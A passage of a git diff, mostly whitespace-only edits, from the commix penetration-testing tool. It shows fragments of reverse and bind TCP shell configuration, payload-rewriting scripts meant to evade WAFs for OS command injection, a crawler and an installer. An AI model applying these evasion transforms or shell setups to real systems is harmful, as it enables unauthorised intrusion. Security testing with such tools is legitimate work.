options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): if shell_options(reverse_tcp_option): return shell_options(reverse_tcp_option) - # Invalid option + # Invalid option else: common.invalid_option(reverse_tcp_option) continue @@ -704,24 +704,24 @@ def configure_reverse_tcp(separator): while True: sys.stdout.write(settings.REVERSE_TCP_SHELL) option = _input() - if option.lower() == "reverse_tcp": + if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue - if option.lower() == "?": + if option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit": + if option.lower() == "quit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": - settings.REVERSE_TCP = False - break + elif option.lower() == "os_shell" or option.lower() == "back": + settings.REVERSE_TCP = False + break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if check_lhost(option[10:]): @@ -734,8 +734,8 @@ def configure_reverse_tcp(separator): elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - continue + print(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.LHOST) == 0: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 42a8434b23..b14bf0e23d 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -46,5 +46,5 @@ def add_back_slashes(payload): return add_back_slashes(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index ce28802e9a..80a1197a97 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -25,5 +25,5 @@ settings.TAMPER_SCRIPTS[__tamper__] = True settings.USE_BACKTICKS = True - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 6b06cd2fca..39d43d44cf 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -33,7 +33,7 @@ def tamper(payload): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() else: @@ -42,4 +42,4 @@ def tamper(payload): payload = payload.decode(settings.DEFAULT_CODEC) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index bb1da64b9f..c80bb74a82 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -33,7 +33,7 @@ def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile("\w+").findall(payload): long_string = "" - if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: + if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) rep = { "^^": "^", @@ -54,5 +54,5 @@ def add_caret_symbol(payload): return add_caret_symbol(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b5a4194e3d..2fb8d61fa6 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -45,4 +45,4 @@ def add_dollar_at_signs(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 8f4d89d1de..1a56ebde91 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -49,5 +49,5 @@ def add_double_quotes(payload): return payload else: return add_double_quotes(payload) - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index a558772774..b91f562d80 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -33,9 +33,9 @@ def tamper(payload): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() - + else: payload = _urllib.parse.unquote(payload) encoded_payload, _ = hexencode(payload) @@ -43,4 +43,4 @@ def tamper(payload): payload = encoded_payload return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index c6dd066fff..1b9745ba32 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -26,4 +26,4 @@ settings.TAMPER_SCRIPTS[__tamper__] = True settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 3b761cd034..4098e71c52 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -45,8 +45,8 @@ def nested(payload): menu.options.suffix = menu.options.suffix + double_quote else: menu.options.suffix = double_quote - return payload - + return payload + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload @@ -55,4 +55,4 @@ def nested(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index e9b292d76f..29d67a96c6 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -32,4 +32,4 @@ def printf_to_echo(payload): return printf_to_echo(payload) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 696fa4bf43..4e94d4d045 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -17,9 +17,9 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Is used to reverse (characterwise) the user-supplied operating system commands. +About: Is used to reverse (characterwise) the user-supplied operating system commands. Notes: This tamper script works against Unix-like target(s). -References: [1] https://github.com/commixproject/commix/issues/408 +References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b """ @@ -38,4 +38,4 @@ def tamper(payload): payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 7a13939344..7820579b49 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -44,5 +44,5 @@ def add_single_quotes(payload): return add_single_quotes(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index cfe7b60a1e..69b52e66d4 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -41,5 +41,5 @@ def add_slash2env(payload): return add_slash2env(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 04f4be2178..523db81ac5 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -21,7 +21,7 @@ """ About: Uses "timeout" function for time-based attacks. - * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ @@ -54,7 +54,7 @@ def sleep_to_timeout_ping(payload): settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: return sleep_to_timeout_ping(payload) - + return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index d61c1f1e5d..5386590189 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -38,8 +38,8 @@ def sleep_to_usleep(payload): if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 else: - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] - payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) + usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload if settings.TARGET_OS != settings.OS.WINDOWS: @@ -56,5 +56,5 @@ def sleep_to_usleep(payload): return sleep_to_usleep(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index e4c7dec6f1..c67b91b8f7 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -31,7 +31,7 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2htab elif space2htab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2htab) + settings.WHITESPACES.append(space2htab) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 49e68cf4ba..1432916146 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -17,7 +17,7 @@ """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). -The internal field separator refers to a variable which defines the character +The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. Notes: This tamper script works against Unix-like target(s). """ @@ -34,10 +34,10 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: - settings.WHITESPACES.append(space2ifs) + settings.WHITESPACES.append(space2ifs) else: if space2ifs in settings.WHITESPACES: settings.WHITESPACES.remove(space2ifs) return payload - -# eof + +# eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 22b37a6d5f..8cbf78f29d 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -31,7 +31,7 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2plus elif space2plus not in settings.WHITESPACES: - settings.WHITESPACES.append(space2plus) - return payload - -# eof \ No newline at end of file + settings.WHITESPACES.append(space2plus) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 5d7c268039..4ae1c8fca4 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -32,10 +32,10 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2vtab) + settings.WHITESPACES.append(space2vtab) else: if space2vtab in settings.WHITESPACES: settings.WHITESPACES.remove(space2vtab) return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 9ef2e8bdd1..98f05c9536 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -49,4 +49,4 @@ def add_uninitialized_variable(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 62953c089b..70cbc91691 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -26,7 +26,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True - + def tamper(request): def randomIP(): numbers = [] @@ -44,4 +44,4 @@ def randomIP(): request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py index 666f344ec5..6648dc7b04 100644 --- a/src/thirdparty/colorama/ansi.py +++ b/src/thirdparty/colorama/ansi.py @@ -99,7 +99,7 @@ class AnsiBack: BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0 # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 + LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 class AnsiStyle: diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e74cd45430..4070d740eb 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -2,7 +2,7 @@ # encoding: UTF-8 """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. """ diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 369450bee5..2ca0b67c5f 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. https://github.com/amirziai/flatten diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py index a118a02dd2..2d8951f0fe 100644 --- a/src/thirdparty/odict/__init__.py +++ b/src/thirdparty/odict/__init__.py @@ -5,5 +5,5 @@ if sys.version_info[:2] >= (2, 7): from collections import OrderedDict else: - from src.thirdparty.six.moves import collections_abc as _collections + from src.thirdparty.six.moves import collections_abc as _collections from _collections import OrderedDict diff --git a/src/utils/common.py b/src/utils/common.py index 66aabcb2ad..c5b082c832 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -39,7 +39,7 @@ def invalid_option(option): """ def invalid_cmd_output(cmd): err_msg = "The execution of '" + cmd + "' command, does not return any output." - return err_msg + return err_msg """ Reads input from terminal @@ -114,7 +114,7 @@ def running_as_admin(): if settings.PLATFORM in ("posix", "mac"): _ = os.geteuid() if isinstance(_, (float, six.integer_types)) and _ == 0: - is_admin = True + is_admin = True elif settings.IS_WINDOWS: import ctypes @@ -162,7 +162,7 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.DEFAULT_CODEC) - + key = hashlib.md5(_).hexdigest()[:8] bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" @@ -179,9 +179,9 @@ def create_github_issue(err_msg, exc_msg): print(settings.SINGLE_WHITESPACE) return else: - invalid_option(choise) + invalid_option(choise) pass - except: + except: print("\n") raise SystemExit() @@ -200,15 +200,15 @@ def create_github_issue(err_msg, exc_msg): if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" - warn_msg += ".\n" + warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} - request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", - data = json.dumps(data).encode(), + request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", + data = json.dumps(data).encode(), headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: @@ -247,7 +247,7 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: @@ -286,7 +286,7 @@ def unhandled_exception(): raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 95bb2d2d80..db8a2bb416 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -49,13 +49,13 @@ def set_crawling_depth(): message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break + break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass - + # Change the crawling depth level. if message in settings.CHOICE_YES: while True: @@ -94,7 +94,7 @@ def normalize_results(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass @@ -119,8 +119,8 @@ def store_crawling(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) - pass + common.invalid_option(message) + pass """ @@ -152,7 +152,7 @@ def sitemap(url): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass no_usable_links(sitemap_loc) return sitemap_loc @@ -193,13 +193,13 @@ def enable_crawler(): message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: menu.options.crawldepth = 1 - break + break if message in settings.CHOICE_NO: - break + break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass set_crawling_depth() @@ -220,7 +220,7 @@ def check_sitemap(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass """ @@ -304,7 +304,7 @@ def crawler(url, url_num, crawling_list): settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs @@ -312,11 +312,11 @@ def crawler(url, url_num, crawling_list): output_href = new_crawled_hrefs + crawled_hrefs try: [output_href.remove(x) for x in visited_hrefs if x in output_href] - except TypeError: + except TypeError: pass link = 0 if output_href is not None: - for url in output_href: + for url in output_href: if url not in visited_hrefs and url is not None: link += 1 settings.CRAWLED_URLS_NUM = link @@ -325,7 +325,7 @@ def crawler(url, url_num, crawling_list): visited_hrefs.append(url) do_process(url) info_msg = str(link) - info_msg += "/" + str(len(output_href)) + " links visited." + info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if link != 0: diff --git a/src/utils/install.py b/src/utils/install.py index 44f1bf1b30..49968b9f7d 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -41,36 +41,36 @@ def uninstaller(): except: print(settings.SINGLE_WHITESPACE) raise SystemExit() - + sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - info_msg = "The un-installation of commix has finished!" + info_msg = "The un-installation of commix has finished!" print(settings.print_bold_info_msg(info_msg)) - + """ The installer. """ def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" - + info_msg = "Starting the installer. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - + # Check if OS is Linux. if settings.PLATFORM == "posix": # You need to have administrative privileges to run this script. if not common.running_as_admin(): - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) err_msg = "You need to have administrative privileges to run this option." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that " + settings.APPLICATION + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: @@ -80,12 +80,12 @@ def installer(): uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ - uninstall in settings.CHOICE_QUIT: + uninstall in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(uninstall) pass - + # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. @@ -99,18 +99,18 @@ def installer(): else: print(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " - err_msg += "other Linux distro than Ubuntu / Debian. " + err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() - + # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - info_msg = "Installing " + settings.APPLICATION + info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) try: @@ -122,11 +122,11 @@ def installer(): raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - - info_msg = "Installing " + settings.APPLICATION + + info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) - try: + try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') @@ -136,13 +136,13 @@ def installer(): raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - + #Create the Output Directory try: os.stat(settings.OUTPUT_DIR) except: try: - os.mkdir(settings.OUTPUT_DIR) + os.mkdir(settings.OUTPUT_DIR) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." @@ -151,8 +151,8 @@ def installer(): print(settings.print_critical_msg(error_msg)) raise SystemExit() - info_msg = "The installation is finished! Type '" - info_msg += settings.APPLICATION + "' to launch it." + info_msg = "The installation is finished! Type '" + info_msg += settings.APPLICATION + "' to launch it." print(settings.print_bold_info_msg(info_msg)) else : diff --git a/src/utils/logs.py b/src/utils/logs.py index 42966c5471..65f871d5fd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -36,7 +36,7 @@ def path_creation(path): if not os.path.exists(path): try: - os.mkdir(path) + os.mkdir(path) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." @@ -63,7 +63,7 @@ def logs_filename_creation(url): if not output_dir.endswith("/"): output_dir = output_dir + "/" - + # The logs filename construction. filename = create_log_file(url, output_dir) @@ -90,10 +90,10 @@ def create_log_file(url, output_dir): else: err_msg = "The provided session file ('" + \ menu.options.session_file + \ - "') does not exist." + "') does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: + raise SystemExit() + else: settings.SESSION_FILE = logs_path + "session.db" # Load command history @@ -119,7 +119,7 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() - + return filename """ @@ -166,7 +166,7 @@ def update_payload(filename, counter, payload): output_file.close() """ -Add any executed command and +Add any executed command and execution output result in log files. """ def executed_command(filename, cmd, output): diff --git a/src/utils/menu.py b/src/utils/menu.py index ad72510ffe..de31661fb1 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,10 +30,10 @@ The commix's banner. """ def banner(): - print(""" __ - ___ ___ ___ ___ ___ ___ /\_\ __ _ + print(""" __ + ___ ___ ___ ___ ___ ___ /\_\ __ _ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> ) to quit commix. @@ -664,7 +664,7 @@ def os_shell_options(): The "reverse_tcp" available options. """ def reverse_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -676,7 +676,7 @@ def reverse_tcp_options(): The "bind_tcp" available options. """ def bind_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -688,7 +688,7 @@ def bind_tcp_options(): The available mobile user agents. """ def mobile_user_agents(): - print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. diff --git a/src/utils/purge.py b/src/utils/purge.py index a34458552e..6dbf51a59f 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -41,12 +41,12 @@ def purge(): print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: + if not settings.VERBOSITY_LEVEL != 0: info_msg += "." else: - info_msg += ".\n" + info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + sys.stdout.flush() # Purging content of target directory. dir_paths = [] @@ -59,7 +59,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -67,8 +67,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -77,7 +77,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -87,8 +87,8 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: + if settings.VERBOSITY_LEVEL != 0: + if not failed: print(settings.SINGLE_WHITESPACE) else: print(settings.SINGLE_WHITESPACE) @@ -97,7 +97,7 @@ def purge(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + sys.stdout.flush() failed = False for file_path in file_paths: try: @@ -106,8 +106,8 @@ def purge(): except: failed = True pass - if 